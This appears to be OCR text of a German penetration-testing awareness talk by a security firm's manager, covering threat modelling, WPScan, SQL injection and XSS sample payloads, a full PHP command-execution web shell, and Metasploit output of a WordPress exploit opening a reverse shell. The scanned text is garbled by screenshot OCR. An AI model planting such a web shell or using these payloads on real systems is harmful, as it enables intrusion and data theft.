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Darf ich mich vorstellen?

Jan-Tilo Kirchhoff
= Country Manager Compass Security Deutschland GmbH
= verheiratet, zwei Kinder
» Werdegang: Von der TK-Security zur IT-Security
= Kompetenzen

» Netzwerk Sicherheitsprifungen
» |CT- Security (VolP, PSTN, GSM ...)
» |T-Forensik

Hobbys
= Meine Familie .wmlmﬁm
= Musik (Trompete und Chor) cisse [
= Electronic Jazz, Jazz Funk Forenics Profssions
= Laufsport S
= |CT-Security rocuricy LUSGP)
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Probieren geht uber studiere
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Vor dem Test

Threat Modelling Trustboundaries
=Spoofing
. i
=" Tampering Browser ||
|
|
|

*Repudiation

=s|nformation Disclosure

=Denial of Service

»Elevation of Privileges
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Angriffsziele Identifizieren

IP und Portscans
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Schwachstellen aufdecken

Beispielsweise in Web Applikationen

Web Server
= Apache, Nginx, IIS
= Tomcat, JBOSS

Content Management Systeme

sssss

ordpress Q|

Welcome to WordPress. This is your first post. Edit or delete it, then

T ——————

start writing
,,,,,,,,,,,,,,
A WordPress Commenter on Hello world!

\J O O I I I I a. nnnnnnnn

September 2017

cccccccccc

" Typo3
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File Edit View Search Terminal Help

1 ~# wWpscan

N\ /NS ]

L A N AR A I D T I @
NN\ S oSNNS T
NN/ [ I N S T O I
\VARRV/ 3 | SN N

WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@ WPScan , @ethicalhack3r, @erwan Llr, pvdl, @ FireFart

Examples

-Further help ...
ruby ./wpscan.rb --help
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SQL Injection
Anwender

Datenbankabfrage

Eingabe des Anwenders werden ungepruft
ubernommen, z.B. in der Suchemaske.

Eingabe: Apfel' UNION SELECT user,
password from users;-—--

Spezialfélle:

» Blind SQL Injection
» Time Based Blind SQL Injection
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Software

SELECT columnl, column2 from products
where columnl = 'userprovided input';

SELECT columnl, column2 from products
where columnl = 'Apfel' UNION SELECT
user,password from users;--';




XSS

Ausfuhren von Code im Browser des Nutzers

Reflected XSS
Stored XSS
Einfach Variante:
<script>alert ('xss');</script>
Event basiert:

onload, onerror, onclick, onmouseover
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Kontrolle Ubernehmen
Web Shell Metasploit

<?

//

// PHP KIT
// | root@kali: ~ e e @‘
// Cmd-php = Command Execution File Edit View Search Terminal Help

/// :~# msfconsole

// by: The Dark Raver

// modified: 21/01/2004

//

7>

<HTML><BODY>

<FORM METHOD="GET" NAME="myform" ACTION="">

I love shells -

<INPUT TYPE="text" NAME="cmd"> -- --=[ 1677 its - 961 auxiliary - 296 post ]
<INPUT TYPE="submit" VALUE="Send"> L TIL Frec metacptoit pro trials htepisyr-7.cotrymsp
</FORM>
<pre>
<?
if (S GET['cmd']) {

system($ GET['cmd']);

msf > ||

}
>
</pre>
</BODY></HTML>
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Aktuell
Wordpress Plugin mit Backdoor Joomla CVE-2017-14597

@ heise Secun'fy News ~ Hintergrund Foren Events 8 ‘Jahre alte SChwaChSte”e

Security » News > 7-Tage-News > 2017 > KN 37 > "Display Widgets": WordPress-Plugin mit Backdoor aus f Angreifer kann Administrativen Zugang

"Display Widgets": WordPress-Plugin mit Backdoor aus erlangen

Repository entfernt

MO e " Voraussetzung: Authentisierung tiber LDAP
~ Display Widgets
| https://bloqg.ripstech.com/2017/joomla-
takeover-in-20-seconds-with-ldap-injection-

Description cve-2017-14596/

Last updated

Change your sidebar content for different pages, categories, customn
taxonomies, and WPML languages. Avold creating multiple sidebars and Active installs
duplicating widgets by adding check boxes to each widget in the admin
(as long as It s written In the WordPress version 2.8 format) which will Requires WordPress
either show or hide the widgets on every site page. Great for avoiding Tested uo to

extra coding and keeping your sidebars clean
Languages.

Bild: wordfance.com

Ein Plugin zur Verwaltung von WordPress-Widgets enthielt eine Backdoor, die
dessen Herausgeber (iber Monate hinweg den Fernzugriff erméglichte, Nun wurde
es endglltig aus dem WordPress-Repository entfernt. Ein Update sdubert
bestehende Installationen.
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Und wie geht es jetzt weiter?

Wer bin ich? (Was darf ich?) Wo sind wir hier eigentlich?

msf exploit( meterpreter > shell
Process 190 created.
[*] Started reverse TCP handler on Channel 1 created.
172.16.23.165:4444 /bin/ip addr
[*] Authenticating with WordPress using 1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc
attacker:attacker... noqueue state UNKNOWN group default
[+] Authenticated with WordPress link/loopback 00:00:00:00:00:00 brd
[*] Preparing payload... 00:00:00:00:00:00
[*] Uploading payload... inet 127.0.0.1/8 scope host lo
[*] Executing the payload at /wp- valid 1ft forever preferred 1ft forever
content/plugins/ZBYZPFgdMO/SCBAfleiOZ.php. .. 6: ethOQif7: <BROADCAST,MULTICAST,UP, LOWER UP>
[*] Meterpreter session 1 opened mtu 1500 gdisc noqueue state UP group default
(172.16.23.165:4444 -> 172.16.23.131:58956) at link/ether 02:42:ac:11:00:03 brd
2017-11-07 11:36:06 -0500 ffeff:ff:ff:f£: £ £
[+] Deleted SCBAfleiOZ.php inet 172.17.0.3/16 scope global ethO
[+] Deleted ZBYZPFgdMO.php valid 1ft forever preferred 1ft forever
pwd
eterpreter > getuid /var/www/html/wp-content/plugins/ZBYZPFgdMO
Server username: www-data (33)
eterpreter >
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Wo geht's weiter?
Lateral Movement Rechte Eskalation

Vertrauensstellung ausnutzen Dirty COW (CVE-2016-5195)

Browser

Webservic%

https://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/DirtyCow.svg/895px-DirtyCow.svg.png
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Dirty COW (CVE-2016-5195)

Linux Kernel Root Exploit

COW = Copy On Write
Race Condition in Linux Kernel Implementation of copy on write

Allows a user with lower privileges to write to files / memory that should be read only

DIRTY COW

https://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/DirtyCow.svg/895px-DirtyCow.svg.png
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Es geht noch einfacher

Ungeschutzte Docker Instanzen im Internet

Help Center

¥ SHooan a

Explore Downloads Reports Enterprise Access Contact Us & My Account
#% Exploits #% Maps % Share Search & Download Results |l Create Report

TOTAL RESULTS 47.96.13.9
468 Aliyun Computing Co. HTTP/1.1 484 Not Found

@ China, Hangzhou Content-Type: application/json
TP COUNTRIES Details Date: Tue, @7 Nov 217 16:37:12 GMT

Content-Length: 29
HTTP/1.1 484 Not Found

OVH 8p. z 0. 0. Content-Type: application/json
China 156 == Poland Date: Tue, @7 Nov 2817 15:40:0@ GMT
Netherlands 106 Details Content-Length: 29
United States 88
Ireland 15
United Kingdom 15 51 140 33 252
TOP ORGANIZATIONS Microsoft Azure HTTP/1.1 484 Not Found

o ) ) Content-Type: application/json

. == United Kingdom, London

Microsoft Azure 187 Details ’ Date: Tue, 7 Nov 2017 15:27:55 GMT
Hangzhou Alibaba A... 66 Content-Length: 29
Amazon.com 32
Tencent cloud comp... 9
Digital Ocean 9
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Wo sind hier die Grenzen?

Cloud Computing & Microservice Architectures

"In 15 months, 80% of all IT budgets Docker Adoption Status by Infrastructure Size
will be committed to cloud apps and °
solutions" — Forbes, April 2017

= \Welteres Wachstum " I I I
= Container / Microservices I I
- -
[

o
=]
X

Percent of Companies
B o
[=] [=]

. ABANDONED

u OrCheStrathﬂ o [ paseunc
_

n DeVO pS ADOPTED

0%

1-99 100-499 500+ 1-99 100-499 500+ 1-99 100-499 500+
HOSTS HOSTS HOSTS HOSTS HOSTS HOSTS HOSTS HOSTS HOSTS

2015 2016 2017
Organization Size

Source: Datadog

Quelle: https://www.datadoghg.com/docker-adoption/
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SecDevOps

Sind Penetrationstests noch notwendig?

Development

(SOFTWARE ENGINEERING)

QA

(QUALITY ASSURANCE)

DevOps

https://en.wikipedia.org/wiki/DevOps#/media/File:Devops.svg
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Quis custodes custodiae?

Was ist mit der Infrastruktur

Application Lifecycle Mgmt. — - SCM/VCS Testing | r Deployment Cloud / laa$ / PaaS—

. — - . 6 < |1, heroku
XuRA [minge Wrrellr || g git — o@ Selonium AR Octopus Deploy (1) DerLox e:pmz‘)@ Flyon @
o > Jasmi = ’ S p2S
nevarid omine | ZRUNDECK C ") -
0 FOundation Sener prootairacker 6 & GitHub GAUNTLT ‘3" @ AN NOUIO || Googecioup
o{ Basecamp . <»03sana @ Bitbucket W ﬁ )y i ZAP } -
o> Gogs ‘ e (Datling - Juju | n wvenstack EF°) =

PUSREATOR TGitBucket a— U , S0V 7 ElasticBox  Spinnakes i DEIS appfog mw
) nit

g A DM A
~Communication & ChatOps ~Cl “\%\ ARNMA r Config Mgmt. /Provisioning - Orchestration & Scheduling——

) e H @) wercker sNA -
¥ slack QHipChat #irc 16 {_ . .,-</> . V ®FitNesse E. /\ -g; e 52 MESOSPHERE (
Towdock gl L S

. puppet
RYVERZ () Mmattermost o'{a?"boo @ Q‘.’"n‘[ln’f oo - CFEngine ) kubernetes
S N (e 7 ® SALTSTS PowerShell DSC e
06 2 e = > go @ sl cucumber. NG ..‘ . Y o, l‘ =
0.3 Nestor LITA ’“,-—.!rl ‘ CODES"'P . ’8‘ MESOS
Knowledge Sharing |~ Build 1 & $SGalen Framewoek | Artefact Management Bl / Monitoring / Logging

sbt Mradle %GRUNT UAY || S losstash & elasticsearch
‘ , Maven _.L @ LOADIMBACT ©e splunk - Vect&r K kibana Fi"-_d.‘i
i 4

_ Jelylly
Q github:pages /JMeter * g g 7ABB r

docker

X.Confluence \\' Nart s i =BlazeMeter || pocesHus GREK *'**' " Google Analytics y-pack
M‘ rACHE uu . REG’ST«’Y &SENTW "
E » 2 Bower . D) Prometheus
O oo | ONEEEEEN °° e | e o O ew i v.&!ﬁuwﬂ
down mL o ‘R . O e th PINPOINT o~ @
° einingen ake Frog Artifact Lo
&, apblueprint - I |' Browsersync Ifrog Artifactory "pg on ©Runscope sonsy .
| r Database Management o) 'F . 2 APITet s I8 Grafana .
. 8 5 Pally ) ' qm&
@FLARUM V‘% @orenar __DBmzestro DBDeploy - J5 A, specﬂéw wnuget $- RAYGUN (& }STAISB -
' . & ollbar
. <« F Z?onm ’ : Unit " ch N B Sonatype 6 Airbrake.io ”\oo
i oS = By Newman XKUNIL.NE ar ’Va Inpm| X pagerduty Qo
Discourse Ureddit || 3 redgate LIQUIsBASE <) EXUS beats @ OpsGenie /A Ke

http://maXimeIanciauxbi.blogspot.de/2017/04/devops-too|s.html
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Portfolio

Penetrationstest

Security Filebox
Reviews Solution
Incident Hacking-Lab
Response CTF

Training
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Wissen ist Macht...

= Wir wollen niemanden zu einer Straftat anstiften!

= Alle gezeigten Informationen dienen ausschlief3lich
dazu, sie zu sensibilisieren! Denn nur wer um die
Gefahren well}, kann sich davor schiutzen.

= Wenn sie Fragen im Bereich IT-Sicherheit haben,
sprechen sie uns an.
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Zeit fur Ihre Fragen
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Compass Security Deutschland GmbH
Tauentzienstral3e 18
10789 Berlin

team.csde@compass-security.com
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